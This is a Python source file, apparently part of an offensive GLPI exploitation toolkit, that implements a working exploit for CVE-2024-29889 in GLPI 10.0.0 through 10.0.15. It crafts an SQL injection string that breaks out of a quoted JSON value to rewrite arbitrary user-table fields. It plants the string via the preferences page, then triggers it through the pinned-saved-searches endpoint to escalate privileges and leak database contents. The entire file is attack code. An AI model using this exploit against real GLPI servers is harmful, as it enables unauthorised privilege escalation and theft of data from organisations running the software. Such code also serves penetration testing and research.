import time
from http import HTTPStatus
from ..update_sql_injection_mixin import UpdateSqlInjectionMixin
from glpwnme.exploits.logger import Log
from bs4 import BeautifulSoup
from glpwnme.exploits.utils import GlpiUtils

class CVE_2024_29889(UpdateSqlInjectionMixin):
    """
    This CVE abuse a SQL Injection in an update clause to elevate the privilege of the current user

    @author RIOUX Guilhem
    @cvss 8.1
    @name CVE_2024_29889
    """
    min_version = "10.0.0"
    max_version = "10.0.15"
    _impacts = "SQLi, Privilege Escalation, Database Leak"
    _privilege = "User"
    _is_check_opsec_safe = False # Check is not opsec safe as it update some table fields

    def __init__(self, glpi_session):
        super().__init__(glpi_session, field="savedsearches_pinned")

    def _make_payload(self, field, payload, condition):
        """
        Make the sql payload ready to be injected

        :param field: In which field to store the result
        :type field: str

        :param payload: The sql payload to use, Do not use `FROM glpi_users` inside as
          it will break the sql syntax
        :type payload: str

        :param condition: The condition which is mandatory, to not apply an update everywhere
        :type condition: str
        """
        return f'{{"jrjgjk":"exploit\', savedsearches_pinned=NULL, {field}={payload} WHERE {condition}; -- \'"}}'

    def _prepare_payload(self, payload):
        """
        Store the payload in the db

        :param payload: The payload to send
        :type payload: str
        """
        save_data = {"id": self.get_user_id(), "savedsearches_pinned": payload, "update": "Save"}
        self.post("/front/preference.php", data=save_data)

    def send_payload(self, payload):
        """
        Send the payload to the target
        In 2 times:
          1. Store the payload in the DB
          2. Trigger the payload

        :param payload: The payload to send
        :type payload: str
        """
        self._prepare_payload(payload)

        ### On oldest versions, the payload will only work after login again
        self.glpi_session.logout()
        self.glpi_session.login_with_credentials()

        return self.post("/ajax/pin_savedsearches.php", data={"itemtype": "Link"})

    def success_hook(self):
        """
        The hook reset the payload stored in this case
        """
        self._reset_field(field=self.field, condition=f"id={self.get_user_id()}")
